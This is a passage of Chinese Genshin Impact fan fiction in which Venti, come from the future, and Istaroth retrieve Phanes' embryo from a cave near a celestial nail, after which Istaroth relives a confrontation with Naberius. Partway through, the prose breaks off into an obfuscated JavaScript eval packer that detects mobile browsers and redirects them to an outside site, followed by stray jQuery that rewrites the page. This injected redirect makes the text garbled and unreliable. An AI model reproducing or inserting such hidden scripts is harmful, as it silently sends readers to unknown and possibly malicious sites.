温迪闭上眼,轻盈的流风托着他的斗篷。
“那伊斯塔露,你是怎么看温迪的呢?”
“或者说,你是怎么看我的呢?”
天青色的眼睛缓缓睁开,温迪注视着伊斯塔露。
他和伊斯塔露的相逢跨越了两千六百年的时间。
“好孩子?”
伊斯塔露脱口而出,在温迪有些意味深长又哀怨的注视中,绞尽脑汁又换了几个称呼:
“小风精灵?风精灵大王?风神大人?”
“好吧,好吧,谁让我是个不爱计较的人呢。”
温迪终于放过了伊斯塔露,他耸了耸肩,眼含笑意地接受了这个称呼。
“风精灵大王就风精灵大王吧。”
“……真没看出你有什么不情愿。”
伊斯塔露实在没忍住,吐槽了一句。
“这是什么话?别人喊我风精灵大王我可不一定答应哦。”
温迪轻咳一声。
“言归正传,算算时间,伊斯塔露现在已经知道了吧,提瓦特的「月亮」与「太阳」?”
“是说如今在位的「天理」和法涅斯么?”
“对,就是祂们。”
温迪点点头,在洞窟边蹲下身,试探着向其伸出手。
就和现在的温迪触碰屏障事一样,未来的温迪的指尖靠近洞窟时,也扭曲起来。
但他波澜不惊地收回了手。
“我呢,来自两千六百年后的未来,来寻找曾经在大战时落败、落入雪山中的「太阳」,然后把它带到未来。”
“两千六百年啊……”
伊斯塔露难得有些感慨。
“温迪过得还好吗?”
“嗯?我说过的呀,苹果酒很好喝,风很温柔,未来的蒙德也很适合我弹弹琴摸摸鱼。”
温迪侧过头,看着伊斯塔露,笑了。
他唯独没有提起自己过得如何。
伊斯塔露望着飘扬的绿色斗篷,叹了口气。
未来的温迪,也变得若即若离、令人难以捉摸了。
伊斯塔露莫名有种孩子长大了的惆怅感。
但她不知道,这种若即若离的感觉,就和曾经温迪眼中的自己一样。
似乎从未远离,却也从未靠近。
“唯有「太阳」‘消失’,「月亮」才能够放心吧?就像伊斯塔露当年对哈艮图斯做的那样,我打算欺骗「月亮」。”
“我们现在就在当年「太阳」蜕变成胎儿、落入雪山洞窟的那个时间节点。”
伊斯塔露没有问他为什么知道她曾在归离集做过的事,也没有问他为何知道这些、为何如此作为,她只是蹙眉提醒道:
“温迪,凡事皆有代价。”
温迪站起身,抬手一勾,点缀着塞西莉娅花的木琴凭空出现在他的手中。
五指轻拨,弦音流转,如风一般轻盈而恒久。
“还记得出让权能时你也这样问过吗,伊斯塔露?我知道我会付出代价,我从不后悔。”
“我希望你能够得偿所愿啊。”
伊斯塔露哑然,片刻后,只能苍白地向他道谢:
“……谢谢你,温迪。”
“诶嘿,要记得我的好哦。”
未来的温迪欣然领受了她的愧疚和道谢,轻快地向她眨了眨左眼。
随后,他眯起双眼,神色肃穆:
“法涅斯之所以在输给「月亮」后,选择藏匿在雪山中,就是因为这里的天钉抑制的深渊力量,有些特别。”
“我和伊斯塔露说过的,这里的深渊有「层侵」的力量,连时间都可以侵蚀……嗯,我不喜欢这个地方。”
温迪抬手支着下巴,目光落在坑洞下若隐若现的蓝色长钉上,一丝漠然从他眼中闪过。
“本来就没有你们四执政的权能,「月亮」也不敢轻易涉足其中。”
“法涅斯用自己仅剩的力量,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307042|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把蜕化成的胎儿包裹起来,沉入了天钉镇压的深渊中。”
“而且由于「层侵」侵蚀了时间,许多时间节点都在天钉附近交汇,谁也不知道靠近天钉后会被传到什么时空。”
“差不多就是这样啦,我也只能试着把蜕生的法涅斯从深渊里捞起来了。”
温迪颇为头疼地呼出了一口气。
“那我和你一起去吧。”
伊斯塔露掌心散发出一点金芒,她就着这光芒,将手伸入洞窟中。
与温迪不同,她的手并没有呈现出如同被吸入黑洞的扭曲模样,只有空气在微微颤动。
“我本就要探索此处的深渊,”伊斯塔露收起慵懒的态度,眼中闪过一丝光芒,“我很想感受一下,连时间都能侵蚀的力量,到底是什么。”
“欸?难得看伊斯塔露有这种表情呢,那你一会儿要保护我哦。”
温迪没有拒绝伊斯塔露的提议,他摊了摊手,和她对视一眼。
两人同时一跃而下,进入了落下天钉的洞窟。
两人本该一跃到底,但温迪很快感受到一股来源不明的力量托举着他,不让他继续下降靠近天钉。
浸入骨髓的寒气也一寸寸侵蚀进他的身体。
伊斯塔露却如同深潜一般,缓慢却畅通无阻地下落到了天钉附近,看见了漂浮在半空中的“胚胎”。
那是一颗脑袋大小、通体莹白的圆珠,散发着柔和的银光,却一动不动,也看不出活物的轮廓。
“「太阳」,原初之人法涅斯……”
伊斯塔露靠近了那颗圆润的白珠。
“找到你了。”
在她靠近胚胎的同时,脚底下的黑泥忽然发出咕嘟咕嘟的声音,不可思议地逆重力漂浮上来,像是要阻止伊斯塔露靠近胚胎。
伊斯塔露没有理会代表深渊的黑泥,她毫不犹豫地抱起了法涅斯的胚胎。
在她抱住胚胎的那一刻,黑泥彻底狂躁起来,几乎霎时就要让她沉溺在铺天盖地的黑暗中。
在视线完全暗下来的前一刻,伊斯塔露蹙了蹙眉,毫不犹豫地将法涅斯的胚胎抛向还在上方的温迪。
下一刻,深渊能量化作的黑泥疯狂上涌,将伊斯塔露包裹其中,裹挟着她沉入深不见底的黑渊中。
.
朦胧,眼前是一片朦胧。
伊斯塔露有些不适地眯起眼,半晌,眼前的景象才渐渐清晰。
不同于和阿赫玛尔在须弥看到的数据海,她眼前是天空岛的云海和白石柱,还有兴师问罪的纳贝里士。
白衣的神女抱着双臂,和她相对而视,片刻后,推了推单边眼镜的镜框。
“我说伊斯塔露,我和你什么时候有仇了?为什么要引诱厄歌莉娅触犯禁忌?”
而她明明还意识昏沉,却本能般懒懒散散地回答道:
“我懒得奉劝他人,不过是随口提了两句,和引诱没关系吧。”
伊斯塔露悚然。
这不是她想说的,这不像是她下意识地说出了这句话,而像是她在身体里阅读已然发生的事情。
纳贝里士似乎有些头疼地呼出一口气:
“我创造厄歌莉娅是为了镇压水龙王,她要是死了水龙王也会复活,你知道的吧?”
“哦,我知道。”
伊斯塔露听见自己用波澜不惊的语气说出了惊世骇俗的话。
“……龙王重生,难道是坏事吗?”
纳贝里士的神色一下严肃起来:
“你想背叛祂,背叛你存在的意义?”